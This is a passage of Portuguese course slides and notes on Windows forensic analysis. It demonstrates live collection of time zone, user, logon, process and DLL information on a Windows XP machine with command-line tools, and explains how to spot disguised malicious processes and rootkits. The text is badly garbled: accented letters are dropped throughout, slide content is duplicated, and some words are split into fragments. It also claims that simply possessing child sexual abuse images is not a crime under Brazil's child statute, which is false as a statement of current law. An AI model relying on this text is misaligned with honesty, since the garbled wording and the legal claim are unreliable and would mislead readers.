forense, ela pode ser levada em conta na hora de
analisar as evidncias coletadas.
Verses diferentes de sistema operacional fornecero
resultados distintos para os comandos acima.
Algumas verses do comando date mostram tambm o horrio da mquina.

Primeiras aes

Hora do sistema:

Hora do sistema

D:\IR\xp> reg query


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneIn
formation 
Listing of
[SYSTEM\CurrentControlSet\Control\\TimeZoneInformation]
REG_DWORD
Bias
180
REG_SZ
StandardName
E. South America Standard Time
REG_DWORD
StandardBias
0
REG_BINARY
StandardStart
Data to follow:
00000200 03000000 00000000 00000000
REG_SZ
DaylightName
E. South America Daylight Time
REG_DWORD
DaylightBias
-60
REG_BINARY
DaylightStart
Data to follow:
00000A00 02000000 00000000 00000000
REG_DWORD
ActiveTimeBias 120

D:\IR\xp> reg query HKEY_LOCAL_MACHINE\SYSTEM\Curre


ntControlSet\Control\TimeZoneInformation8
Listing of [SYSTEM\CurrentControlSet\Control\\TimeZ
oneInformation]
REG_DWORD Bias 180
REG_SZ StandardName E. South America Standard Time
REG_DWORD StandardBias 0
REG_BINARY StandardStart Data to follow:
00000200 03000000 00000000 00000000
REG_SZ DaylightName E. South America Daylight Time
REG_DWORD DaylightBias -60
REG_BINARY DaylightStart Data to follow:
00000A00 02000000 00000000 00000000
REG_DWORD ActiveTimeBias 120

Podemos fazer uma consulta no registro para descobrir o timezone. Alm disso, j
vimos que o comando dd fornece a hora do sistema em horrio UTC e horrio local.
A ferramenta reg.exe permite fazer consultas a chaves de registro.
Anlise forense em Windows

132

Escola Superior de Redes RNP

Primeiras aes

H d
Hora
do sistema
i t
D:\IR\xp>nettime\\computador
Currenttimeat\\computadoris1/27/20089:51PM
Thecommandcompletedsuccessfully.
Thecommandcompletedsuccessfully
D:\IR\xp>nettime\\computador/QUERYSNTP
ThecurrentSNTPvalueis:200.144.121.33,0x1
The command completed successfully.

Concluses
Vimos nessa sesso
Vi
os conceitos
it b
bsicos
i
dde anlise
li
forense em sistemas Windows
Algumas caractersticas do NTFS diferem das que vimos
at agora em ambientes Linux
Conhecemos as ferramentas do Live CD do Helix e
vimos como utilizar algumas
delas p
para coletar
g
evidncias em uma mquina comprometida

Anlise forense Sesso de aprendizagem 8

Podemos verificar acima que o sistema sincroniza o


horrio com um servidor NTP remoto, o que uma
boa garantia de que o horrio da mquina est correto. Isto facilita a correlao de eventos com fontes
externas como logs de roteadores e firewalls.
O comando net.exe tambm permite fazer uma
srie de consultas importantes ao sistema. Vamos
conhecer mais caractersticas deste comando nas
sesses seguintes, mas vale a pena estudar melhor
o funcionamento dessa ferramenta.

Concluses
Na prxima sesso vamos conhecer mais sobre as
ferramentas que permitem coletar informaes sobre
processos e conexes de rede, e sobre as estruturas prprias do Windows, como registro, usurios e
polticas de segurana.

8
Sesso de aprendizagem 8
Anlise forense em Windows
Roteiro de atividades
Tpicos e conceitos
\\Iniciando

a anlise forense em sistemas Windows.

Competncias tcnicas desenvolvidas


\\O

aluno aprender a iniciar uma investigao de um sistema Windows e a


utilizar as ferramentas disponveis para o trabalho.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

134

Atividade 1 Coleta de evidncias em Windows


Execute os passos descritos na sesso em sua estao e documente todos


os passos tomados, criando fichas de evidncia do mesmo modo como foi
feito nas sesses anteriores. Voc deve coletar informaes sobre o
ambiente onde est sua mquina, documentar as informaes externas,
capturar a tela (pode usar um print screen ou ferramenta de captura),
coletar imagem da memria e informaes sobre o horrio da mquina.
No necessrio coletar uma cpia da imagem de disco, mas colocar em
seu relatrio os comandos necessrios para realizar essa operao.

Atividade 2 Classificando as ferramentas


Use o tempo destinado a este exerccio para estudar as ferramentas


presentes no pacote de ferramentas. Prepare um relatrio descrevendo a
funo de cada ferramenta. Quais ferramentas podem ser utilizadas para
coletar uma imagem da memria RAM da mquina? Quais ferramentas
permitem fazer cpias do disco? Qual delas voc acha que a ferramenta
mais completa, no sentido de coletar mais informaes teis ao investigador?

Atividade 3 Busca de outras ferramentas para Windows


Pesquise na internet outras ferramentas para realizar anlise forense em


sistemas Windows. Faa um relatrio descrevendo as ferramentas que
encontrar e as caractersticas que as tornam interessantes. Dica: comece
com os links de Forensic Windows Tools e Forensics Tools fornecidos na
bibliografia.

Anlise forense Sesso de aprendizagem 8

9
Sesso de aprendizagem 9
Anlise forense avanada em Windows
Sumrio da sesso
Anlise forense avanada em Windows. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
Coleta de informaes bsicas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136
Processos em execuo no sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 140
Bibliotecas do sistema . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 145
Informaes sobre arquivos abertos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147
Servios em execuo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148
Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 151
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 153
Atividade 1 Levantando informaes do sistema . . . . . . . . . . . . . . . . . . . . . 154
Atividade 2 Identificando processos comprometidos . . . . . . . . . . . . . . . . . . 154
Atividade 3 Novas ferramentas. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154

136

Escola Superior de Redes RNP

Anlise forense avanada em Windows

Anlise forense avanada em Windows


Windows tem caractersticas que tornam mais
complexa a coleta de evidncias
Mesmo assim, as tcnicas vistas at agora continuam
valendo:
Informaes bsicas sobre o sistema
Identificao e coleta de processos em execuo
Informaes sobre bibliotecas em uso
Servios

A realizao de um processo de anlise forense em


um sistema Windows no difere conceitualmente do
processo realizado no ambiente Linux. A principal
diferena que em um sistema Windows as informaes mais desejadas so volteis e s podem ser
obtidas no sistema vivo (live system ou on-line), o
que exige a realizao de inmeros procedimentos
de coleta de dados ao vivo.

Devido ao fato de sistemas Windows terem grande


presena em ambientes de desktop de empresas
e usurios caseiros, o tipo de incidente que em geral envolve uma mquina com
este sistema um pouco diferente do que normalmente acontece com sistemas
Linux, que costumam ser utilizados em servidores. Por este motivo, as principais
razes para a realizao de um procedimento de anlise forense em um sistema
Windows so as seguintes:
\\O

sistema est infectado por algum vrus ou cdigo malicioso;

\\O

sistema foi comprometido;

\\Caso

envolvendo direitos autorais;

\\Pornografia;
\\Fraude;
\\Presena

de trojan ou backdoor instalado;

\\Utilizao

do sistema de forma maliciosa.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> uptime
18:38:20 up 3:58,

0 users,

load average: 0.00, 0.00, 0.00

D:\IR\xp> hostname
Computador
D:\IR\xp> whoami
Usuario

Coleta de informaes bsicas


Assim como na coleta de evidncias em Linux, precisamos saber inicialmente h quanto tempo o sistema
est ligado, para restringir o perodo possvel para
a ocorrncia do incidente. Para isso, vamos utilizar
uma ferramenta disponvel no kit de ferramentas do
Live CD do Helix. Abra um prompt de comandos,
faa as mudanas nas variveis de ambiente para
executar somente os binrios do kit (cmdenv.bat) e
execute os comandos mostrados.

O comando uptime.exe permite saber h quanto


tempo o sistema est on-line. Podemos verificar tambm que ele indica o nmero
de usurios que esto acessando o sistema, valor que nem sempre bate com
a realidade, pois ele busca essa informao em um local diferente de onde o
Windows normalmente a mantm.
Anlise forense Sesso de aprendizagem 9

137

O prximo passo serve para identificar corretamente a mquina investigada. Muitas


vezes, um incidente em uma empresa pode envolver uma mquina que no deveria
fazer parte da rede. Por exemplo, se o invasor for um funcionrio que resolveu
levar seu notebook ou computador pessoal para a sua empresa, nela no vai haver
registro sobre a mquina. Precisamos descobrir como ela se identifica na rede,
pois em ambiente Windows esse nome transmitido pela rede pelo protocolo
NETBIOS e pode ser importante saber essa informao ao examinar os logs.
A seguir, precisamos coletar informaes sobre os usurios da mquina, j que
essa informao no mantida em um arquivo como o passwd no Linux. O
primeiro passo identificar o usurio que est logado na mquina atualmente,
medida necessria caso o investigador encontre a mquina logada ao chegar para
a investigao inicial.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> psgetsid
SID for \\COMPUTADOR:
S-1-5-21-4042056708-2335835806-3410500470
D:\IR\xp> psgetsid Usuario
SID for COMPUTADOR\Usuario:
S-1-5-21-4042056708-2335835806-3410500470-1006

Uma informao importante sobre o usurio logado,


que uma caracterstica do Windows, o chamado
SID (Secure Identification).
Este identificador um nmero nico que identifica
o usurio ou a mquina na rede e normalmente utilizado em diversos recursos do sistema para indicar
quem tem permisses para acessar tais recursos.
Estes identificadores so importantes ao analisar
diversas evidncias no Windows que tenham relao
com permisses e segurana. Podemos determinar
um usurio especfico para descobrir o SID.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> psloggedon
Users logged on locally:
Error: could not retrieve logon time
NT AUTHORITY\LOCAL SERVICE
Error: could not retrieve logon time
NT AUTHORITY\NETWORK SERVICE
29/1/2008 14:40:10
COMPUTADOR\Usuario
Error: could not retrieve logon time
NT AUTHORITY\SYSTEM
No one is logged on via resource shares.

Observamos no slide que alm das contas de


sistema, somente o usurio que j vimos est
conectado localmente no computador. Alm disso, o
comando do slide indica conexes remotas atravs
de compartilhamentos na mquina, o que pode ser
uma informao importante se o incidente envolver
roubos de propriedade intelectual ou pedofilia.

Neste ltimo caso, importante notar que se um


usurio mantm arquivos de pornografia infantil em
sua mquina, teoricamente no est cometendo
crime, pois de acordo com o cdigo da criana e do
adolescente, o crime consiste em transmitir ou tornar pblica a informao. Entretanto, se o computador onde esto armazenadas
as fotos tiver um compartilhamento de diretrio, pode ser considerada a disponibilizao pblica, e consequentemente a caracterizao criminal.

Anlise forense avanada em Windows

138

Escola Superior de Redes RNP

O comando logonsessions.exe permite descobrir


todas as sesses de login existentes e os usurios
associados a elas. Vemos no slide um login de usurio no console. O comando tambm exibe logins:

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> logonsessions
[2] Logon session
User name:
Auth package:
Logon type:
Session:
Sid:
3410500470-1006
Logon time:
Logon server:
DNS Domain:
UPN:

00000000:00018df7:
COMPUTADOR\Usuario
NTLM
Interactive
0
S-1-5-21-4042056708-2335835806-

\\Sem
\\De

interatividade;

servios ou processos do sistema;

\\Remotos.

29/1/2008 14:40:08
COMPUTADOR

D:\IR\xp> net users8

Coleta de informaes bsicas

User accounts for


__vmware_user__
curso
Usuario

Informaes sobre o sistema


D:\IR\xp> net users
User accounts for \\COMPUTADOR
__vmware_user__
Administrator
curso
Guest
Usuario
SUPPORT_12312331

ASPNET
HelpAssistant

\\COMPUTADOR
Administrator
Guest
SUPPORT_12312331

ASPNET
HelpAssistant

D:\IR\xp> userdump \\COMPUTADOR usuario8


Querying Controller \\COMPUTADOR
Privs: Admin Privs
OperatorPrivs: No explicit OP Privs
Password age: Tue Jan 29 21:43:33 2008
LastLogon: Fri Jul 20 19:40:29 2007
LastLogoff: Thu Jan 01 00:00:00 1970
Acct Expires: Never

D:\IR\xp> userdump \\COMPUTADOR usuario


Querying Controller \\COMPUTADOR
Privs:
Admin Privs
OperatorPrivs: No explicit OP Privs
Password age:
Tue Jan 29 21:43:33 2008
LastLogon:
Fri Jul 20 19:40:29 2007
LastLogoff:
Thu Jan 01 00:00:00 1970
Acct Expires:
Never

O comando acima permite listar os usurios cadastrados na mquina. Este


comando j foi visto na ltima sesso.
O comando net.exe faz parte do pacote bsico do Windows, e tem diversos parmetros que podem ser usados para interagir com o sistema.
Podemos usar a ferramenta UserDump.exe para coletar informaes sobre todos
os usurios do sistema.
Veja as informaes sobre o ltimo login do usurio e sobre a validade da senha,
que podem ter importncia na investigao.

Anlise forense Sesso de aprendizagem 9

139

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> ntfsinfo c:
Allocation Size
---------------Bytes per sector
:
Bytes per cluster
:
Bytes per MFT record
:
Clusters per MFT record:
MFT Information
--------------MFT size
:
MFT start cluster
:
MFT zone clusters
:
MFT zone size
:
MFT mirror start
:
Meta-Data files
---------------

512
4096
1024
0

176 MB (0% of drive)


6
5656576 - 5676928
79 MB (0% of drive)
629425

D:\IR\xp> ntfsinfo c:8


Allocation Size
---------------Bytes per sector : 512
Bytes per cluster : 4096
Bytes per MFT record : 1024
Clusters per MFT record: 0
MFT Information
--------------MFT size : 176 MB (0% of drive)
MFT start cluster : 6
MFT zone clusters : 5656576 - 5676928
MFT zone size : 79 MB (0% of drive)
MFT mirror start : 629425
Meta-Data files
---------------

Uma informao que pode ser importante para a anlise posterior da imagem de
disco pode ser conseguida com o comando ntfsinfo.exe, que permite extrair algumas informaes bsicas sobre o disco.
Veja no slide informaes importantes sobre a estrutura de arquivos no disco
especificado no comando: confira especialmente as informaes sobre o MFT.

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> mem
655360 bytes total conventional memory
655360 bytes available to MS-DOS
598160 largest executable program size
1048576 bytes total contiguous extended memory
0 bytes available contiguous extended memory
941056 bytes available XMS memory
MS-DOS resident in High Memory Area

Coleta de informaes bsicas


Informaes sobre o sistema
D:\IR\xp> psinfo
System information for \\COMPUTADOR:
Uptime:
0 days 4 hours 56 minutes 29 seconds
Kernel version:
Microsoft Windows XP, Uniprocessor Free
Product type:
Professional
Product version:
5.1
Service pack:
2
Kernel build number:
2600
Registered organization:
Registered owner:
Usuario
Install date:
18/10/2005, 19:19:17
Activation status:
Error reading status
IE version:
7.0000
System root:
C:\WINDOWS
Physical memory:
1022 MB

Anlise forense avanada em Windows

D:\IR\xp> mem8
655360
655360
598160
1048576
0
941056
MS-DOS

bytes total conventional memory


bytes available to MS-DOS
largest executable program size
bytes total contiguous extended memory
bytes available contiguous extended memory
bytes available XMS memory
resident in High Memory Area

O comando mem.exe fornece informaes sobre a


memria do sistema.

D:\IR\xp> psinfo8
System information for \\COMPUTADOR:
Uptime: 0 days 4 hours 56 minutes 29 seconds
Kernel version: Microsoft Windows XP, Uniprocessor
Free
Product type: Professional
Product version: 5.1
Service pack: 2
Kernel build number: 2600
Registered organization:
Registered owner: Usuario
Install date: 18/10/2005, 19:19:17
Activation status: Error reading status
IE version: 7.0000
System root: C:\WINDOWS
Physical memory: 1022 MB

140

Escola Superior de Redes RNP

Lembrando dos tipos de incidentes que normalmente acontecem em um sistema


Windows, percebemos que grande parte deles pode acontecer em sistemas que
no so atualizados constantemente. Por isso, importante descobrir se o sistema
que estamos analisando est atualizado e devidamente autenticado.
O comando psinfo.exe permite descobrir este tipo de informao.
Temos no slide diversas informaes importantes, como a verso do Windows instalada, informaes sobre o registro e ativao do sistema, a durao do tempo
em que o sistema est ligado, a verso do Internet Explorer, a data de instalao
do Windows, a memria do sistema e informaes sobre o hardware.
Observe que a informao sobre ativao nem sempre pode ser lida como vemos
no comando acima. No exemplo, o comando foi executado em uma mquina devidamente ativada e autenticada.

Processos em execuo no sistema

Processos em execuo no sistema


D:\IR\xp> ps -a -W8

D:\IR\xp> ps -a -W
PID
PPID
PGID
WINPID TTY
4
0
0
4
?
unknown ***
944
0
0
944
?
\SystemRoot\System32\smss.exe
1068
0
0
1068
?
\??\C:\WINDOWS\system32\winlogon.exe
1112
0
0
1112
?
C:\WINDOWS\system32\services.exe
1124
0
0
1124
?
C:\WINDOWS\system32\lsass.exe
1272
0
0
1272
?
C:\WINDOWS\system32\Ati2evxx.exe
1284
0
0
1284
?
C:\WINDOWS\system32\svchost.exe

UID
STIME COMMAND
0 16:24:48 ***
0 14:39:48
0 14:39:58
0 14:39:58
0 14:39:58
0 14:39:59
0 14:39:59

PID PPID PGID WINPID TTY UID STIME COMMAND


4 0 0 4 ? 0 16:24:48 *** unknown ***
944 0 0 944 ? 0 14:39:48 \SystemRoot\System32\smss.
exe
1068 0 0 1068 ? 0 14:39:58 \??\C:\WINDOWS\system32\
winlogon.exe
1112 0 0 1112 ? 0 14:39:58 C:\WINDOWS\system32\serv
ices.exe
1124 0 0 1124 ? 0 14:39:58 C:\WINDOWS\system32\lsas
s.exe
1272 0 0 1272 ? 0 14:39:59 C:\WINDOWS\system32\Ati2
evxx.exe
1284 0 0 1284 ? 0 14:39:59 C:\WINDOWS\system32\svch
ost.exe

Outra informao importante a coletar em um sistema invadido referente aos


processos executados pelo sistema. Muitas vezes, possvel ainda encontrar em
execuo o programa do vrus ou worm que invadiu a mquina, ou algum servidor
executado por um invasor para prover acesso a material ilcito.
Uma das caractersticas que consideramos imprescindveis em nossas ferramentas
a capacidade de obterem o mesmo resultado sob as mesmas condies iniciais.
Isto muito importante na lista de processos, pois diversos fatores podem influir
no resultado das ferramentas, e muitos deles podem indicar um comprometimento
maior do sistema.
O comando ps.exe, disponvel no kit de ferramentas, permite listar os processos
em execuo no sistema. Uma informao importante, que no dada pelo
Gerenciador de Tarefas, por exemplo, o caminho completo do executvel. Esta
informao importante quando for necessrio diferenciar entre o nome de um
processo vlido do sistema, como por exemplo svchost.exe.
Anlise forense Sesso de aprendizagem 9

141

Processos em execuo no sistema


Necessidade de descobrir o caminho completo do
executvel
Programas maliciosos se disfaram como executveis
vlidos
Se voc observar os processos msmgs.exe ou
scvhost.exe, vai identific-los como maliciosos?
importante conhecer os processos mais comuns em
sistemas Windows

Alguns vrus e ferramentas hacker utilizam este mesmo


nome para confundir os usurios, j que o Gerenciador de
Tarefas no diferencia um arquivo pelo nome completo.
Quanto a isso, importante comentar que muitos vrus e
ferramentas hacker utilizam esta tcnica para tentarem
se passar despercebidos pelo usurio. Muitos vrus costumam utilizar os nomes scvhost.exe ou msmgs.exe.
possvel perceber algum problema com estes processos?

Por conta disso, importante o investigador conhecer


bem os processos comuns do Windows. A correta
identificao de um processo vlido pode depender de
alguns fatores, como conhecimento prvio sobre servios oferecidos no sistema, servios bsicos da plataforma Windows e conhecimentos
sobre processos que podem ser inseridos no sistema por aplicaes vlidas.
O principal problema diferenciar entre o processo legtimo svchost.exe e o processo
falso scvhost.exe.
\\Alg.exe

Application Layer Gateway Service,


servio relacionado com o firewall do Windows
(pode ser terminado pelo Gerenciador de tarefas).

Processos em execuo no sistema


Processo

Pode ser terminado pelo


Gerenciador de tarefas?

Descrio

Alg.exe

Application Layer Gateway Service, servio relacionado com o firewall do


Windows.

Sim

csrss.exe

client/server run-time subsystem

No

explorer.exe

Interface do usurio.

Sim

internet.exe

Executado na inicializao, permite a troca de configurao do teclado e aparece


como cone no System Tray.

Sim

Local security authentication server

No

mstask.exe

Task scheduler service

No

smss.exe

lsass.exe

Session manager subsystem, responsvel por iniciar a sesso do usurio.

No

spoolsv.exe

Spooler service, responsvel pela fila de impresso.

No

svchost.exe

Generic Service Process, atua como host para outros processos executados por
dlls; normalmente existe em mais de uma instncia. utilizado tambm para
executar servios de rede.

No

services.exe

Services Control Manager, responsvel por iniciar e terminar servios do


sistema.

No

system

System kernel-mode threads

No

system idle
process

Processo que contabiliza o processamento disponvel no sistema, normalmente


ocupando a maioria do processamento disponvel (99%).

No

taskmgr.exe

Gerenciador de tarefas

Sim

winlogon.exe

Responsvel pelo processo de login/logout do usurio.

No

\\csrss.exe

client/server run-time subsystem (no


pode ser terminado pelo Gerenciador de tarefas).

\\explorer.exe

Interface do usurio (pode ser


terminado pelo Gerenciador de tarefas).

\\internet.exe

Executado na inicializao, permite


a troca de configurao do teclado e aparece
como cone no System Tray (pode ser terminado
pelo Gerenciador de tarefas).

\\lsass.exe

Local security authentication server (no


pode ser terminado pelo Gerenciador de tarefas).

\\mstask.exe

Task scheduler service (no pode ser terminado pelo Gerenciador

de tarefas).
\\smss.exe

Session manager subsystem, responsvel por iniciar a sesso do


usurio (no pode ser terminado pelo Gerenciador de tarefas).

\\spoolsv.exe

Spooler service, responsvel pela fila de impresso (no pode


ser terminado pelo Gerenciador de tarefas).

\\svchost.exe

Generic Service Process, atua como host para outros


processos executados por dlls; normalmente existe em mais de uma
instncia. utilizado tambm para executar servios de rede (no pode ser
terminado pelo Gerenciador de tarefas).

\\services.exe

Services Control Manager, responsvel por iniciar e terminar


servios do sistema (no pode ser terminado pelo Gerenciador de tarefas).

Anlise forense avanada em Windows

142

Escola Superior de Redes RNP


\\System

System kernel-mode threads (no pode ser terminado pelo


Gerenciador de tarefas).

\\system

idle process Processo que contabiliza o processamento disponvel


no sistema, normalmente ocupando a maioria do processamento disponvel
(99%) (no pode ser terminado pelo Gerenciador de tarefas).

\\taskmgr.exe

Gerenciador de tarefas (pode ser terminado pelo Gerenciador

de tarefas).
\\winlogon.exe

Responsvel pelo processo de login/logout do usurio (no


pode ser terminado pelo Gerenciador de tarefas).

O site processlibrary.com permite pesquisar um nome de arquivo e saber se ele


usado por algum vrus.
D:\IR\xp> pslist8

Processos em execuo no sistema


D:\IR\xp> pslist
Process information for COMPUTADOR:
Name
Pid Pri Thd Hnd
Idle
0
0
1
0
System
4
8 68 645
smss
944 11
3
21
csrss
1040 13 13 747
winlogon
1068 13 22 448
services
1112
9 15 337
lsass
1124
9 21 461
ati2evxx
1272
8
5
71
svchost
1284
8 18 220
...

Priv
0
0
168
2004
6388
1996
5868
796
3384

CPU Time
5:22:42.671
0:01:50.234
0:00:00.015
0:00:53.640
0:00:00.937
0:00:10.515
0:00:05.187
0:00:00.343
0:00:00.203

Elapsed Time
0:00:00.000
0:00:00.000
6:18:01.531
6:17:55.000
6:17:52.234
6:17:52.046
6:17:52.031
6:17:51.218
6:17:51.203

Process information for COMPUTADOR:


Name Pid Pri Thd Hnd Priv CPU Time Elapsed Time
Idle 0 0 1 0 0 5:22:42.671 0:00:00.000
System 4 8 68 645 0 0:01:50.234 0:00:00.000
smss 944 11 3 21 168 0:00:00.015 6:18:01.531
csrss 1040 13 13 747 2004 0:00:53.640 6:17:55.000
winlogon 1068 13 22 448 6388 0:00:00.937 6:17:52.234
services 1112 9 15 337 1996 0:00:10.515 6:17:52.046
lsass 1124 9 21 461 5868 0:00:05.187 6:17:52.031
ati2evxx 1272 8 5 71 796 0:00:00.343 6:17:51.218
svchost 1284 8 18 220 3384 0:00:00.203 6:17:51.203
...

Este comando tem diversos parmetros interessantes para listar a utilizao de


memria de cada processo ou os threads que cada um mantm. Vale a pena estudar
melhor este comando.
Anlise forense Sesso de aprendizagem 9

143

Processos em execuo no sistema


D:\IR\xp> ..\diamondcs\cmdline.exe
DiamondCS Commandline Retrieval Tool for Windows NT4/2K/XP
944 - \SystemRoot\System32\smss.exe <Error> Unable to read memory
from PID 944
1040 - \??\C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Windows
SharedSection=1024,3072,512 Windows=On SubSystemType=Windows
ServerDll=basesrv,1
ServerDll=winsrv:UserServerDllInitialization,3
ServerDll=winsrv:ConServerDllInitialization,2 ProfileControl=Off
MaxRequestThreads=16
1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogon.exe
1112 - C:\WINDOWS\system32\services.exe
C:\WINDOWS\system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\lsass.exe
1272 - C:\WINDOWS\system32\Ati2evxx.exe

D:\IR\xp> ..\diamondcs\cmdline.exe8
DiamondCS Commandline Retrieval Tool for Windows NT
4/2K/XP
944 - \SystemRoot\System32\smss.exe <Error> Unable t
o read memory from PID 944
1040 - \??\C:\WINDOWS\system32\csrss.exe
C:\WINDOWS\system32\csrss.exe ObjectDirectory=\Wind
ows SharedSection=1024,3072,512 Windows=On SubSyste
mType=Windows ServerDll=basesrv,1 ServerDll=winsrv:
UserServerDllInitialization,3 ServerDll=winsrv:ConS
erverDllInitialization,2 ProfileControl=Off MaxReque
stThreads=16
1068 - \??\C:\WINDOWS\system32\winlogon.exe winlogo
n.exe
1112 - C:\WINDOWS\system32\services.exe C:\WINDOWS\
system32\services.exe
1124 - C:\WINDOWS\system32\lsass.exe C:\WINDOWS\sys
tem32\lsass.exe
1272 - C:\WINDOWS\system32\Ati2evxx.exe

Uma caracterstica desta ferramenta mostrar os parmetros passados na linha


de comando de cada processo.
Uma caracterstica importante desta ferramenta a possibilidade de visualizar
diversas propriedades importantes sobre cada processo, incluindo threads, conexes TCP/IP abertas pelo processo, informaes de desempenho, strings dentro
do executvel, entre outras informaes.

Anlise forense avanada em Windows

144

Escola Superior de Redes RNP

Processos em execuo no sistema


necessrio comparar diversas ferramentas, pois
alguns programas maliciosos escondem informaes
do Windows
Rootkits usam essa tcnica
Inconsistncias entre duas ferramentas podem ser a
indicao de um rootkit
sempre til ter disponvel uma ferramenta anti-rootkit

Vimos at agora uma srie de ferramentas diferentes


para listagem de processos ativos, e a importncia de
comparar o resultado destas ferramentas para identificar incoerncias e possveis comprometimentos.
A razo disso que em muitos casos, os vrus e
ferramentas hacker utilizam tecnologias de rootkit
para esconder informaes do usurio e do sistema
operacional.

Ao realizar a anlise forense em uma imagem de um


disco Windows, possvel encontrar informaes
que poderiam estar escondidas pelo rootkit, mas no
caso de processos necessrio verificar essa informao na mquina on-line.
Portanto, importante o investigador ter sempre disponvel uma boa ferramenta
anti-rootkit. No kit de ferramentas encontramos o Rootkit Revealer.
Este programa examina a mquina e procura por inconsistncias na forma como
o Windows reporta informaes sobre processos e arquivos, utilizando diversas
tcnicas. Muitas vezes, isto suficiente para identificar a presena de um rootkit.
No exemplo do slide, observamos diversas inconsistncias detectadas pelo
programa. A maioria delas representada por falsos positivos, mas repare nas
ltimas 4 linhas do log: elas mostram chaves de registro escondidas da API do
Windows por alguma ferramenta, o que pode indicar a presena do rootkit.
No caso abaixo, no entanto, so mostradas as chaves de registro referentes ao
programa Daemon Tools, um simulador de drive de CD utilizado para montar imagens de CD como se fossem drives. Esta ferramenta usa tecnologias rootkit para
realizar estas operaes, mas no maliciosa.

Anlise forense Sesso de aprendizagem 9

145

Bibliotecas do sistema

Bibliotecas do sistema
Windows utiliza bibliotecas compartilhadas,
conhecidas como Dinamic Link Library (DLL)
Normalmente ficam armazenadas no diretrio
C:\WINDOWS\SYSTEM32
Pode ser um problema quando bibliotecas
comprometidas so utilizadas para modificar a forma
de funcionamento de um processo, comprometendo o
sistema
Um exemplo desse tipo de ataque a injeo de cdigo
no Internet Explorer, atravs da explorao de alguma
falha do programa

Windows utiliza bibliotecas compartilhadas, conhecidas como Dinamic Link Library (DLL). Elas normalmente ficam armazenadas no diretrio C:\WINDOWS\
SYSTEM32, mas os processos podem retir-las do
diretrio corrente se elas estiverem nele.

Pode ser um problema quando bibliotecas comprometidas so utilizadas para modificar a forma de
funcionamento de um processo, comprometendo o
sistema. Um exemplo desse tipo de ataque a injeo de cdigo no Internet Explorer, atravs da explorao de alguma falha do programa. Com isso, o hacker consegue comprometer
o sistema sem modificar ou executar nenhum binrio estranho.
D:\IR\xp> listdlls wordpad8

Bibliotecas do sistema
D:\IR\xp> listdlls wordpad
wordpad.exe pid: 676
Command line: "C:\Program Files\Windows NT\Accessories\wordpad.exe"
Base
Size
Version
Path
0x01000000 0x37000
5.01.2600.2180 C:\Program Files\Windows
NT\Accessories\wordpad.exe
0x7c900000 0xb0000
5.01.2600.2180 C:\WINDOWS\system32\ntdll.dll
0x7c800000 0xf5000
5.01.2600.3119 C:\WINDOWS\system32\kernel32.dll
0x5f800000 0xf2000
6.02.8071.0000 C:\WINDOWS\system32\MFC42u.DLL
0x77c10000 0x58000
7.00.2600.2180 C:\WINDOWS\system32\msvcrt.dll
0x77f10000 0x47000
5.01.2600.3159 C:\WINDOWS\system32\GDI32.dll
0x7e410000 0x90000
5.01.2600.3099 C:\WINDOWS\system32\USER32.dll

wordpad.exe pid: 676


Command line: C:\Program Files\Windows NT\Accessor
ies\wordpad.exe
Base
Size
Version
Path
0x01000000 0x37000 5.01.2600.2180 C:\Program Files\
Windows NT\Accessories\wordpad.exe
0x7c900000 0xb0000 5.01.2600.2180 C:\WINDOWS\system
32\ntdll.dll
0x7c800000 0xf5000 5.01.2600.3119 C:\WINDOWS\system
32\kernel32.dll
0x5f800000 0xf2000 6.02.8071.0000 C:\WINDOWS\system
32\MFC42u.DLL
0x77c10000 0x58000 7.00.2600.2180 C:\WINDOWS\system
32\msvcrt.dll
0x77f10000 0x47000 5.01.2600.3159 C:\WINDOWS\system
32\GDI32.dll
0x7e410000 0x90000 5.01.2600.3099 C:\WINDOWS\system
32\USER32.dll

Se no for especificado um nome de processo, ele simplesmente lista todas as


DLLs de todos os processos em execuo. Portanto, esta pode ser tambm uma
boa ferramenta para listar processos em execuo.

Bibliotecas do sistema
D:\IR\xp> ..\winfingerprint\procinterrogate -pid 676
ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum@users.sourceforge.net
wordpad.exe (Process ID: 676)
Entry Point Base
Size
Module
0x01019B4D
0x01000000 00037000
C:\Program Files\Windows
NT\Accessories\wordpad.exe
0x7C913156
0x7C900000 000B0000
C:\WINDOWS\system32\ntdll.dll
0x7C80B5AE
0x7C800000 000F5000
C:\WINDOWS\system32\kernel32.dll
0x5F806A61
0x5F800000 000F2000
C:\WINDOWS\system32\MFC42u.DLL
0x77C1F2A1
0x77C10000 00058000
C:\WINDOWS\system32\msvcrt.dll
0x77F16597
0x77F10000 00047000
C:\WINDOWS\system32\GDI32.dll
0x7E42E966
0x7E410000 00090000
C:\WINDOWS\system32\USER32.dll
0x77DD70D4
0x77DD0000 0009B000
C:\WINDOWS\system32\ADVAPI32.dll

Anlise forense avanada em Windows

D:\IR\xp> ..\winfingerprint\procinterrogate -pid 6768


ProcInterrogate Version 0.0.1 by Kirby Kuehl vacuum
@users.sourceforge.net
wordpad.exe (Process ID: 676)
Entry Point Base
Size
Module
0x01019B4D 0x01000000 00037000 C:\Program Files\Wi
